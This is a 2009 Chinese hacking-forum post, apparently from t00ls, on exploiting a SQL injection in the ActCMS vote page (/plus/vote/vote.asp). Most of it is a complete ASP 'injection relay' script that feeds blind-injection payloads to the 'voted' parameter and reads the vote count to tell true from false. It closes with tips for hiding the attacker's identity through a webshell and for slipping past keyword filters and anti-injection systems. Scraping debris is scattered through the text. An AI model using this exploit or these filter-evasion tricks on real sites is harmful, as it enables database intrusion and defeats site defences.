注入中转的高级应用，actcms漏洞以及其他

admin

# ~4 K9 b" K& }  f1 H! b看到ninty大牛的blog的一篇文章
9 N* h* ?4 B0 _! ~链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
9 [$ \  v0 h0 e9 `9 ^& b2 j" s7 ]漏洞文件：
% q: i$ J, Q+ ?/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
/ a3 T- N  N3 n& b" m
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
0 X; @9 L3 j9 q4 f7 F- g6 H# m
' d- l! E4 j( |. ^3    response.end   

4    end if   
1 u5 G+ M) N4 q3 L. M! c! h8 ?% M
) ?$ K1 ^! b0 i+ L: ]+ x% e: h5    for i=1 to request("voted").count   
5 h4 R9 K7 f$ Z# N  w2 f
/ w; x$ p; j( d6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   
3 s9 s" D; p3 A8 w/ k
/ P, D2 f7 Q/ N* d8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
, Q+ g# V: @0 `" c3 Q( F1 z$ g            失败票数不变
& Y# ~0 b/ {2 k+ a- ?  Y如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! V- F7 s1 C% ^) l. D' b
2009-12-27 13:20
  O/ l. o* q( \' h* H' R
2 W' h, W! [5 C9 h# E! E利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
% R4 y5 O4 Y* I7 X6 a2 u( i1 n  J
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
- s# f( L2 j0 b+ O先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
) h5 w% p& C* J- Z2 v) U% q
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

3 l- d- e" u$ Z/ @, X: ~* x# V02JmdcwName=request("jmdcw")
* p: h& j+ m' s
6 J4 Y, K; A- l03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
4 k8 p% |: z5 p5 a
04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)
; R9 V" ?$ s! q5 v( F
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

$ C5 V/ ?3 Q; ~" x8 q07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

& L% X. o( d6 r  a09JMUrl=JMUrl & "?" & JmStr
' @& N# ^9 v; ]+ m- u- b: S  }
- C1 P8 |7 w  K* W0 U10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. I! r6 u. J) H! i
6 D' o- ?' \+ L11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 l6 F: I6 S  q/ l) R0 t8 k2 n6 R5 ?
12JmCok=replace(JmCok,chr(32),"%20")  
* D+ b( c+ ]7 V
- R! U. f' @, s! |5 U! W13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

& }9 ~* @" S- |& a14  

! b  \" J) e  G5 Z1 T$ `. \' e+ t15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
/ E& O. x" z8 K# U
16  
. a  |7 W$ J3 H) C# w7 ]4 j
# ~7 |2 n) y+ n1 Q17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 k: X3 q0 i+ \: W) D- e2 z
3 s; m9 g" w; J( J4 W18response.write test1&""&test2&""

19  

: V. u+ o2 W; z2 `6 [20if test1=test2 then '如前后记录相等，表示失败
- Q0 o1 Z6 _% F, |
) l6 X( J: w2 L: u4 D8 ?21  response.write "failed"

22else
2 T* ^8 Q1 ]3 c: H7 Q  @
23  response.write "succeed"
. n  L- i4 I; [, s) M; E8 L  s3 J$ C
24end if  
+ r7 Z* E* ~# J  h
25  
, v, ?& q% Q/ U
26response.write "by 3x"

27  

28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
: G+ V8 @' [& y- V7 E( e! }) H
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

! _6 r) f2 r  Q" H: v+ W/ A9 [32With Http
0 ~& @$ f2 z! h/ c; B4 z7 ~
33  

34.Open "GET",PostUrl,False
$ G2 {3 g9 U8 i1 x
/ D3 b3 M7 q: T: E( F5 n* n- _6 _! q" |35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok
& U, F) N# }0 `+ ~- C6 T1 X
38.Send ()

39PostData = .ResponseBody
* g! q  a) N" X0 j( j$ y% @& {
- B8 @4 B% \, P/ x& d  s" X/ u40End With
6 ~6 e' s2 N1 {# P3 C- K
41Set Http = Nothing

0 d# m& u& a  @4 o/ h3 A1 M& z8 u- |42PostData =bytes2BSTR(PostData)
$ s7 T; N* b. E! i1 Y" R
) p& J* a2 v1 T% \+ W8 b43End Function
2 o8 @( s2 K# l% V: U
2 p4 l* Q; A# R3 [' G, S- b44  
0 `8 f& O1 J" T. Z
$ W' i! d0 @2 e, C- z4 W. {; W  ~45  

46Function bytes2BSTR(vIn)
4 c+ P& e$ {' o* f
3 m2 [5 m/ _3 z. I2 p47Dim strReturn
- E3 a! \7 _2 R5 I) X8 I, i
5 L( d9 |' v; Z) E& t# p4 i48Dim I, ThisCharCode, NextCharCode
& I$ G$ P2 A5 v% F0 i
49strReturn = ""
* {4 W" [" J! `+ f
5 k: j, e, W) q50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

* R& B6 _5 F% Z5 ^53strReturn = strReturn & Chr(ThisCharCode)
2 t" h. R: r3 P* C& y- [
% e/ f! T# E# V! S0 t- h) O8 u54Else
5 p, W4 E4 w& N8 Z) u$ n  s; t
8 I) `+ G$ R. y$ g! a% W/ K! B55NextCharCode = AscB(MidB(vIn, I + 1, 1))
; \9 c( n6 R8 P5 I" J4 Q; ]1 x& e
5 M/ P4 K, J0 \3 w9 Q' R  M5 L0 ~56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

, T. D, |& x3 m  g57I = I + 1
; |; `7 p, C8 W/ I
2 F' ^* o  K" d* \/ X, T58End If

( o- S' Y& J4 `59Next

60bytes2BSTR = strReturn
3 t; V/ {4 I: s4 A
5 O) s0 ?/ G- Y' x0 v0 k" _+ n61End Function

1 D5 v. X$ c/ b8 a; Q# Y% L/ t62  
$ G" O5 M" N" V" f8 r/ ~
$ r) Q/ ]9 c  |# g- \4 w/ m63Function URLEncoding(vstrin)  
9 S6 e' x) u0 N6 f0 J/ c0 o) d
, Z2 m7 Y. D, s4 h64strReturn=""
* v7 A' B6 ]' @9 P, W( g3 y6 X
5 }6 }$ M: C  ~65Dim i

6 H% R- Y" ]4 f66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

7 X- f% x3 g8 r6 R68if Abs(Asc(ThisChr))< &HFF Then
4 q. g& ]6 @! y& j& L1 P( ~
69strReturn=strReturn & ThisChr

70Else
" |2 B9 ~& u! W* O. s6 `( m
71InnerCode=Asc(ThisChr)
8 \. m3 P  y5 _8 ~/ j/ Y  ?
' \4 o( {  G9 V2 m1 \72If InnerCode<0 Then
# h- o+ P1 q& r* N$ b4 K
73InnerCode=InnerCode + &H10000
' L) B% J9 t" p* @
; j& r( M6 p3 }/ l74End If
' `4 v9 N6 `. J2 M9 o" m, I% p
75Hight1=(InnerCode And &HFF00) \&HFF
0 ]+ R# l$ z+ a( c6 W5 r6 B0 `
. V0 _7 D2 y" r* P  n/ K. Y76Low1=InnerCode And &HFF

2 Q. w7 I7 \2 Q. v- M77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
( G# C9 |7 W7 B- W0 z% A
78End if
& p$ b. m7 |' t2 I0 [
3 N8 h& h  \( d( M- \79Next

1 S+ b3 e1 [$ [80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

" L0 f6 I, ?  f81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

! z! \0 w' ~: O82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
/ b+ v7 R( }* d
83URLEncoding=strReturn

84End Function
, a  h4 n1 p5 f+ F1 ~
85  
" F( M5 X8 C: q3 x2 c0 x: `) H
86function getSt(body)

. O: l3 W0 M# g: d1 t# @% {$ L* A" }87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
6 ?1 _2 F2 [( Q  g0 z
$ F: D7 d2 s4 |3 p1 L89  getSt=mid(body,startpot,endpot-startpot)

90end function
( |( b  K+ F- N2 s
91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
8 z9 X3 u8 F& c( d( o& a投票成功：
4 @6 u( a, m3 [' s- shttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
, o; E$ \$ f/ W5 N& Q投票失败
1 }. M  j5 L) q4 m6 V5 ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; q( H6 w8 ]. U; w( ?
2009-12-27 13:29
; y( I; r5 N# C% |3 N" {-------------------------------------------------------------------------------
9 v5 y2 r& h! m3 j4 p' h再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
6 W" A3 Q" V' i& g  _所以失败。。。不好意思。。。
' U! R8 y5 {- }4 W" ]/ h-------------------------------------------------------------------------------
- o) ]; R. o' P5 ?* C% S- d7 V
/ `2 Z+ ]/ e. U注入中转的一些其他应用
$ h( `8 S0 K4 Q) B其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 k' O5 p& Z- i1 o# f1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
8 H  S6 F& q/ F1 B6 |- o! M3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
' i9 N* u% j8 U4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
+ }: z, J6 n2 K2 k+ `6 }* H